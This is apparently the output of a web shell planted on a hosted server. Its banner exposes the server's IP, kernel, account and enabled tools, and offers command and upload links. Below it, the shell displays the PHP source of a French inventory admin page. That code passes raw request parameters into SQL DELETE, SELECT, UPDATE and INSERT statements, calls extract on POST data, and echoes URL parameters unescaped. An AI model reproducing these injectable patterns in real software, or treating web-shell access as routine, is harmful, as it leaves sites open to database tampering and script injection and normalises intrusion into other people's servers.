|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$salarie_id=$_SESSION['MCPRO_sal']['user_id'] ;
// $salarie_id= 2543 ;
// print_r($_GET) ;
if($_GET['action']=='sup')
{
// $contact_id=$_GET['id'];
$sreussie=dbi_query("DELETE FROM `stock_optimal` WHERE `stock_optimal`.`id_stock_optimal` = ".$_GET['id']) ;
header('Location:stock_minimum.php?msg=Produit bien supprimé&color=success');
// exit() ;
}
if(!empty($_GET['id_stock_optimal']))
{
$inf=dbi_fetch_row(dbi_query("SELECT * FROM `stock_optimal` WHERE `id_stock_optimal` = ".$_GET['id_stock_optimal'])) ;
}
if((!empty($_POST)) AND ($_POST['Modifier']== "Modifier"))
{
echo "<pre>" ;
print_r($_POST) ;
echo "</pre>" ;
extract($_POST) ;
dbi_query("UPDATE `stock_optimal` SET
`Produit_ID` = '$Produit_ID',
`Lieu_de_stockage_ID` = '$Lieu_de_stockage_ID',
`quantite` = '$quantite', quantite_minimale = '$quantite_minimale'
WHERE `stock_optimal`.`id_stock_optimal` = ".$_POST['id_stock_optimal']) ;
// dbi_query(" INSERT INTO `stock_optimal` (
// id_stock_optimal,
// Produit_ID,
// Lieu_de_stockage_ID,
// quantite
// )
// VALUES
// (
// NULL,
// '$Produit_ID',
// '$Lieu_de_stockage_ID',
// '$quantite'
// )") ;
header('Location:stock_minimum.php?msg=bien Modifier&color=success');
}
// echo "==>".
if((!empty($_POST)) AND ($_POST['Enregistrer']== "Enregistrer"))
{
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
extract($_POST) ;
dbi_query(" INSERT INTO `stock_optimal` (
id_stock_optimal,
Produit_ID,
Lieu_de_stockage_ID,
quantite,
quantite_minimale
)
VALUES
(
NULL,
'$Produit_ID',
'$Lieu_de_stockage_ID',
'$quantite',
'$quantite_minimale'
)") ;
header('Location:stock_minimum.php?msg=bien enregistrer&color=success');
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Stock par lieu</title>
<!-- Google Font: Source Sans Pro -->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700&display=fallback">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<link rel="stylesheet" href="../plugins/select2/css/select2.min.css">
<link rel="stylesheet" href="../plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">
</head>
<body class="hold-transition sidebar-mini">
<div class="wrapper">
<!-- Navbar -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Left navbar links -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#" role="button"><i class="fas fa-bars"></i></a>
</li>
<li>
</li>
</ul>
</nav>
<!-- /.navbar -->
<aside class="main-sidebar sidebar-dark-primary elevation-4">
<!-- Brand Logo -->
<a href="index3.html" class="brand-link">
<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
style="opacity: .8">
<span class="brand-text font-weight-light">MC PRO</span>
</a>
<!-- Sidebar -->
<div class="sidebar">
<!-- Sidebar user panel (optional) -->
<div class="user-panel mt-3 pb-3 mb-3 d-flex">
<div class="image">
<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
</div>
<div class="info">
<a href="#" class="d-block">Steeven ROBLOT</a>
</div>
</div>
<?php include('menu.php'); ?>
<!-- Sidebar Menu -->
</div>
<!-- /.sidebar -->
</aside>
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<!-- Content Wrapper. Contains page content -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h1>Stock Minimum par Lieu</h1>
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
<li class="breadcrumb-item"><a href="indexstock.php">Gestion du Stock</a></li>
<li class="breadcrumb-item"><a href="indexstock_parametrage.php">Paramétrage</a></li>
<li class="breadcrumb-item active">Stock Minimum par Lieu </li>
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- Main content -->
<section class="content">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<!-- Profile Image -->
<!-- /.card -->
<!-- About Me Box -->
<div class="card">
<!-- /.card-header -->
<div class="card-body">
<form method="POST" action="" >
<div class="form-row">
<input id="prodId" name="id_stock_optimal" type="hidden" value="<?=$inf['id_stock_optimal']?>">
<div class="form-group col-md-3">
<label for="add-item"> </label>
<select onchange="selectChange()" class="form-control select2" id="Lieu_de_stockage_ID" placeholder="Add Item" name="Lieu_de_stockage_ID" required="required">
<option value="" selected >Stock</option>
<?php
$Lieu_de_stockage = dbi_query("SELECT * FROM Lieu_de_stockage");
while ($ls = dbi_fetch_row($Lieu_de_stockage)) { ?>
<option value="<?=$ls["Lieu_de_stockage_ID"]?>" <?php if($ls["Lieu_de_stockage_ID"] == $inf['Lieu_de_stockage_ID']) echo "selected" ?>> <?=$ls["lieu_de_stockage_nom"]?></option>
<?}
?>
</select>
</div>
<div class="form-group col-md-5">
<label for="add-item"> </label>
<select onchange="selectChange()" class="form-control select2" id="Produit_ID" placeholder="Add Item" name="Produit_ID" required="required">
<option value="" selected >Selectionner un Produit</option>
<?php
$produit = dbi_query("SELECT * FROM produits");
while ($row = dbi_fetch_row($produit)) {
list($sum_Lieu_de_stockage_ID) = dbi_fetch_row(dbi_query( "SELECT sum(Lieu_de_stockage_ID) FROM `stock_optimal` WHERE `Produit_ID` = ".$row["Produit_ID"] ));
if($sum_Lieu_de_stockage_ID !=41) // pour eliminer les produits enregistrer sur les deux local de stocckage (paris 20 , touloon 21 ) la somme est 41
{ ?>
<option value="<?=$row["Produit_ID"]?>" <?php if($row["Produit_ID"] == $inf['Produit_ID']) echo "selected"?> ><?=$row["Produit_Designation"]." ( ".$row["Produit_Reference"]." )"?></option>
<? }elseif(!empty($inf['id_stock_optimal'])){
?>
<option value="<?=$row["Produit_ID"]?>" <?php if($row["Produit_ID"] == $inf['Produit_ID']) echo "selected"?> ><?=$row["Produit_Designation"]." ( ".$row["Produit_Reference"]." )"?></option>
<?
}
}
?>
</select>
</div>
<div class="form-group col-md-2">
<label for="add-item"> </label>
<input type="text" class="form-control" id="inputsociete" name="quantite" value="<?=$inf['quantite'] ?>" placeholder="Quantité optimale" required="required">
</div>
<div class="form-group col-md-2">
<label for="add-item"> </label>
<input type="text" class="form-control" id="inputsociete" name="quantite_minimale" value="<?=$inf['quantite_minimale'] ?>" placeholder="Quantité minimale" required="required">
</div>
<div class="form-group col-md-3">
<label for="add-item"> </label>
<?if(empty($inf)){ ?>
<button type="submit" name="Enregistrer" class="btn btn-primary" value="Enregistrer">Enregistrer</button>
<?}else{ ?>
<button type="submit" name="Modifier" class="btn btn-primary" value="Modifier">Modifier</button>
<?}?>
</div>
<div class="form-group col-md-2">
</div>
</div>
<div class="modal-footer justify-content-between">
</div>
</form>
<table id="tables" class="table table-bordered table-striped" >
<thead>
<tr>
<th>Produits</th>
<th>Lieu</th>
<th>Qté opti.</th>
<th>Qté mini.</th>
<th>Photo</th>
<th></th>
</tr>
</thead>
<tbody>
<?php
$res = dbi_query(" SELECT * FROM stock_optimal so , produits p , Lieu_de_stockage ls WHERE so.Produit_ID = p.Produit_ID AND so.Lieu_de_stockage_ID = ls.Lieu_de_stockage_ID") ;
while($row = dbi_fetch_row($res)) {
$source = "extranet/".$row['produit_photo'] ;
?>
<tr>
<td><?=$row['Produit_Designation']."(".$row['Produit_Reference'].")" ; ?></td>
<td><?=$row['lieu_de_stockage_nom'] ?></td>
<td><?=$row['quantite'] ?></td>
<td><?=$row['quantite_minimale'] ?></td>
<td>
<!--<img src="photo_produit/CSUR1-ASP614.jpg" class="staff-profile-image-small"> -->
<img src="<?=$source ?>" style="width:60px;height:70px;">
</td>
<td align="center" nowrap>
<a class="btn btn-info btn-sm" href="?id_stock_optimal=<?=$row['id_stock_optimal']?>"> <i class="fas fa-pencil-alt">Editer</i> </a>
</a>
<a class="btn btn-danger btn-sm" href="?action=sup&id=<?=$row['id_stock_optimal']?>" onclick="return confirm('Voulez-vous vraiment supprimer ce produit ?');">
<i class="fas fa-trash">Supprimer</i></a>
</td>
</tr>
<?php } ?>
</table><!-- /.table -->
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
<!-- /.col -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</section>
<!-- /.content -->
</div>
<!-- /.content-wrapper -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.2.0
</div>
<strong>MC PRO 2022 </strong>
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script src="../plugins/select2/js/select2.full.min.js"></script>
<!-- header -->
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'stock_minimum_modifier.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script>
$(function () {
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
// Summernote
$('.textarea').summernote()
})
</script>
</body>
</html>